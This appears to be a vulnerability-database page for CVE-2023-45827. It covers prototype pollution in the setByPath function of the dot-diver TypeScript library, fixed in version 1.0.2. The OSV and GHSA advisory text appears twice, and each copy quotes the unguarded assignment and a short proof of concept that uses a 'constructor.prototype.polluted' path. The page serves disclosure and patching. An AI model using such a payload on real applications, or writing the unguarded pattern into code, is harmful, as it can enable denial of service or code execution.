CVE-2023-45827
published 2023-11-06CVE-2023-45827: Dot diver is a lightweight, powerful, and dependency-free TypeScript utility library that provides types and functions to work with object paths in dot…
PriorityP259critical9.8CVSS 3.1
AVNACLPRNUINSUCHIHAH
EPSS
1.17%
63.5th percentile
Dot diver is a lightweight, powerful, and dependency-free TypeScript utility library that provides types and functions to work with object paths in dot notation. In versions prior to 1.0.2 there is a Prototype Pollution vulnerability in the `setByPath` function which can leads to remote code execution (RCE). This issue has been addressed in commit `98daf567` which has been included in release 1.0.2. Users are advised to upgrade. There are no known workarounds to this vulnerability.
Affected
2 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| clickbar | dot-diver | < 1.0.2 | 1.0.2 |
| clickbar | dot-diver | >= 0 < 1.0.2 | 1.0.2 |
Stop checking back — get the weekly exploitation signal.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
OSV
Prototype Pollution(PP) vulnerability in setByPath
osv·2023-11-03
CVE-2023-45827 [HIGH] Prototype Pollution(PP) vulnerability in setByPath
Prototype Pollution(PP) vulnerability in setByPath
### Summary
There is a Prototype Pollution(PP) vulnerability in dot-diver. It can leads to RCE.
### Details
```javascript
//https://github.com/clickbar/dot-diver/tree/main/src/index.ts:277
// eslint-disable-next-line @typescript-eslint/no-unsafe-member-access
objectToSet[lastKey] = value
```
In this code, there is no validation for Prototpye Pollution.
### PoC
```javascript
import { getByPath, setByPath } from '@clickbar/dot-diver'
console.log({}.polluted); // undefined
setByPath({},'constructor.prototype.polluted', 'foo');
console.log({}.polluted); // foo
```
### Impact
It is Prototype Pollution(PP) and it can leads to Dos, RCE, etc.
### Credits
Team : NodeBoB
최지혁 ( Jihyeok Choi )
이동하 ( Lee Dong Ha of ZeroPointer Lab )
강성현 ( kan
GHSA
Prototype Pollution(PP) vulnerability in setByPath
ghsa·2023-11-03
CVE-2023-45827 [HIGH] CWE-1321 Prototype Pollution(PP) vulnerability in setByPath
Prototype Pollution(PP) vulnerability in setByPath
### Summary
There is a Prototype Pollution(PP) vulnerability in dot-diver. It can leads to RCE.
### Details
```javascript
//https://github.com/clickbar/dot-diver/tree/main/src/index.ts:277
// eslint-disable-next-line @typescript-eslint/no-unsafe-member-access
objectToSet[lastKey] = value
```
In this code, there is no validation for Prototpye Pollution.
### PoC
```javascript
import { getByPath, setByPath } from '@clickbar/dot-diver'
console.log({}.polluted); // undefined
setByPath({},'constructor.prototype.polluted', 'foo');
console.log({}.polluted); // foo
```
### Impact
It is Prototype Pollution(PP) and it can leads to Dos, RCE, etc.
### Credits
Team : NodeBoB
최지혁 ( Jihyeok Choi )
이동하 ( Lee Dong Ha of ZeroPointer Lab )
강성현 ( kan
No detection rules found.
No public exploits indexed.
No writeups or analysis indexed.
https://github.com/clickbar/dot-diver/commit/98daf567390d816fd378ec998eefe2e97f293d5ahttps://github.com/clickbar/dot-diver/security/advisories/GHSA-9w5f-mw3p-pj47https://github.com/clickbar/dot-diver/commit/98daf567390d816fd378ec998eefe2e97f293d5ahttps://github.com/clickbar/dot-diver/security/advisories/GHSA-9w5f-mw3p-pj47
2023-11-06
Published